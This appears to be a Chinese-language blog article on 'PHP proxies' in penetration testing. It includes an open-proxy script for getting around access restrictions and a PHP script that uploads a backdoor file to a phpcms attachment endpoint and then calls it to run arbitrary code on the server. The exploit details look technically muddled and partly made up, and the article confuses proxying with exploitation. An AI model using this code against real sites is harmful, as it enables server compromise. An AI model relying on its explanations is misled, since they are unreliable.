PHP代理是網(wǎng)上安全攻防的主要手段,也是黑客們最喜歡利用的方式之一。PHP代理本質(zhì)上是一種基于PHP語(yǔ)言的網(wǎng)頁(yè)服務(wù)模型,黑客們可以利用代理服務(wù)來(lái)突破訪問(wèn)限制,實(shí)現(xiàn)訪問(wèn)被限制的網(wǎng)站或者獲得別人服務(wù)器的管理權(quán)限,因此,PHP代理在滲透測(cè)試中具有重要地位。
在滲透測(cè)試中使用PHP代理需要注意以下幾點(diǎn):
1、PHP代理必須是高度匿名的,不能泄露自己的真實(shí)IP地址和服務(wù)器端口號(hào)。
2、PHP代理需要支持HTTPS協(xié)議,以增強(qiáng)安全性。
3、PHP代理需要支持大量的連接,以應(yīng)對(duì)大規(guī)模的滲透測(cè)試需求。
下面我們來(lái)舉個(gè)例子,在滲透測(cè)試中,某網(wǎng)站的重要文件被放在了一個(gè)被完全封鎖的區(qū)域,無(wú)法正常訪問(wèn)。我們可以利用PHP代理來(lái)繞過(guò)這種限制。
<?php //簡(jiǎn)單實(shí)現(xiàn)一個(gè)代理模型 $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $data = curl_exec($ch); curl_close($ch); echo $data; ?>
以上代碼是一個(gè)簡(jiǎn)單的PHP代理模型,我們只需要在需要訪問(wèn)被限制區(qū)域的網(wǎng)址后面加上這個(gè)代理的網(wǎng)址即可繞過(guò)限制。
滲透測(cè)試中的PHP代理還可以通過(guò)注入漏洞獲得服務(wù)器的管理權(quán)限。這種方式常見(jiàn)于一些phpcms、Discuz等CMS系統(tǒng)。對(duì)于這種類型的系統(tǒng),黑客可以通過(guò)探測(cè)出帶有漏洞的文件,然后通過(guò)編寫payload,將其上傳到服務(wù)器上,通過(guò)PHP代理來(lái)訪問(wèn)這個(gè)payload文件,從而遠(yuǎn)程執(zhí)行任意代碼。
<?php //上傳并執(zhí)行惡意腳本 $upload_url = "http://www.example.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1"; $file_path = "/var/www/html/backdoor.php"; //惡意腳本路徑 $post_data = array( 'Filename' => '@'.$file_path, 'fileext' => 'php', 'filesize'=> filesize($file_path), 'uid' => '1', 'hash' => md5('phpcms'), ); $ch = curl_init($upload_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $response = curl_exec($ch); curl_close($ch); //執(zhí)行惡意腳本攻擊代碼 $attack_url = "http://www.example.com/uploadfile/2017/0331/backdoor.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $attack_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $data = curl_exec($ch); curl_close($ch); echo $data; ?>
以上代碼實(shí)現(xiàn)了一個(gè)上傳惡意腳本并且執(zhí)行的攻擊代碼,這個(gè)腳本可以通過(guò)PHP代理來(lái)實(shí)現(xiàn)遠(yuǎn)程執(zhí)行的效果。
綜上所述,在滲透測(cè)試中,PHP代理是一種十分重要的手段,但黑客們會(huì)利用這種方式來(lái)攻擊網(wǎng)站系統(tǒng),企業(yè)需要密切關(guān)注這種方式的出現(xiàn),并且加強(qiáng)對(duì)網(wǎng)絡(luò)安全的防護(hù)。